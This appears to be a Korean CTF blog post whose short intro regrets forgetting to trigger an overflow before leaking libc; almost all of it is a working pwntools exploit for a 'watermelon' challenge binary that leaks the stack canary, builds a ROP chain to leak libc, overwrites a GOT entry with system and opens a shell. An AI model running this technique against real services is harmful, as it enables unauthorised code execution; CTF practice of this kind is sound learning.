멍청하게 트리거도 안해놓고 libc 릭이 안된다고 답답해 미쳐가고 있었다...
덮어쓴 버퍼 위치정도는 잘 확인하자 ㅠㅠ
(그건 그렇고 pwntools 진짜 편하네)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | from hackutil import * from pwn import * #============================ HOST = 'localhost' PORT = 31335 offset_write_system = 0xd9510 - 0x3fcd0 name_address = 0x0804D7A0 pppr = 0x8049acd binary = ELF('/home/skyclad/bin/watermelon') #============================ conn = remote(HOST, PORT) print " =============== [ Phase 1 : Canary Leak ] =============== " conn.recvuntil('name : ') conn.sendline('/bin/sh') conn.recvuntil('select\t|\t\n') for i in range(100): conn.sendline('1') conn.recvuntil('music') conn.sendline('1') conn.recvuntil('artist') conn.sendline('1') conn.recvuntil('select') conn.sendline('3') conn.recvuntil('number') conn.sendline('100') conn.recvuntil('music') conn.sendline('5kyc1ad') conn.recvuntil('artist') conn.sendline('A'*20) conn.recvuntil('select') conn.sendline('2') conn.recvuntil('A'*20) canary = up32("\x00"+conn.recv(4)[1:])[0] print "[*] Find Canary : "+str(hex(canary)) print " =============== [ Phase 2 : Libc Leak ] =============== " conn.recvuntil('select') conn.sendline('3') conn.sendline('100') conn.sendline('5kyc1ad') payload = 'A'*20 + p32(canary) + 'A'*(8+4) payload += p32(binary.plt['write']) + p32(pppr) + p32(1) + p32(binary.got['write']) + p32(4) payload += p32(binary.plt['read']) + p32(pppr) + p32(0) + p32(binary.got['write']) + p32(4) payload += p32(binary.plt['write']) + 'AAAA' + p32(name_address) conn.sendline(payload) conn.recvuntil('select') conn.sendline('4') conn.recvuntil('BYE BYE\n\n') write_lib = up32(conn.recv(4))[0] print "[*] Find write_lib : " + str(hex(write_lib)) system_lib = write_lib - offset_write_system print "[*] Find system_lib : " + str(hex(system_lib)) print " =============== [ Phase 3 : Got Overwrite ] ================ " conn.send(p32(system_lib)) print "[*] Get Shell" conn.interactive() | cs |
'CTF > 지난 대회' 카테고리의 다른 글
2016 SSG CTF - mg (350p) (0) | 2016.04.14 |
---|---|
Codegate Junior 2014 Prequal - nuclear (with pwntools) (0) | 2016.03.02 |
Plaid CTF 2013 - ropasaurusrex (with pwntools) (0) | 2016.02.29 |
SecuInside 2013 - PE_time (0) | 2016.01.13 |
SecuInside 2013 - reader (0) | 2016.01.13 |